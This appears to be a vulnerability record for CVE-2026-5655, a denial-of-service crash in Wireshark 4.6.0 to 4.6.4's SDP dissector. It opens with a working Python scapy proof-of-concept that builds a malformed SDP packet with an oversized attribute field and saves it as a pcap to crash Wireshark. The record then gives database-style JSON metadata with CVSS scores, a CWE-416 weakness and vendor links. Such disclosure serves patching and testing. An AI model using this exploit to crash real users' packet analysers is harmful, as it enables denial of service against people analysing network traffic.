CVE-2026-5655

from scapy.all import * from scapy.layers.inet import IP, UDP import sys # Construct a malicious SDP packet payload # This payload simulates an overly long SDP field to trigger the crash malicious_sdp = b"v=0\r\n" malicious_sdp += b"o=- 123456 2 IN IP4 127.0.0.1\r\n" malicious_sdp += b"s=Malicious Session\r\n" malicious_sdp += b"c=IN IP4 127.0.0.1\r\n" malicious_sdp += b"t=0 0\r\n" malicious_sdp += b"m=audio 49170 RTP/AVP 0\r\n" malicious_sdp += b"a=" + b"A" * 10000 + b"\r\n" # Trigger point: Excessive length # Encapsulate in IP/UDP packets (SIP/SDP often runs over UDP) packet = IP(dst="127.0.0.1") / UDP(dport=5060, sport=5060) / Raw(load=malicious_sdp) # Save to pcap file wrpcap("cve_2026_5655_poc.pcap", [packet]) print("[+] PoC file generated: cve_2026_5655_poc.pcap") print("[+] Open this file in Wireshark 4.6.0 - 4.6.4 to reproduce the crash.")

{"cve": {"id": "CVE-2026-5655", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:38.780", "lastModified": "2026-05-01T16:49:18.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SDP protocol dissector crash in Wireshark 4.6.0 to 4.6.4 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/21112", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-19.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21112", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}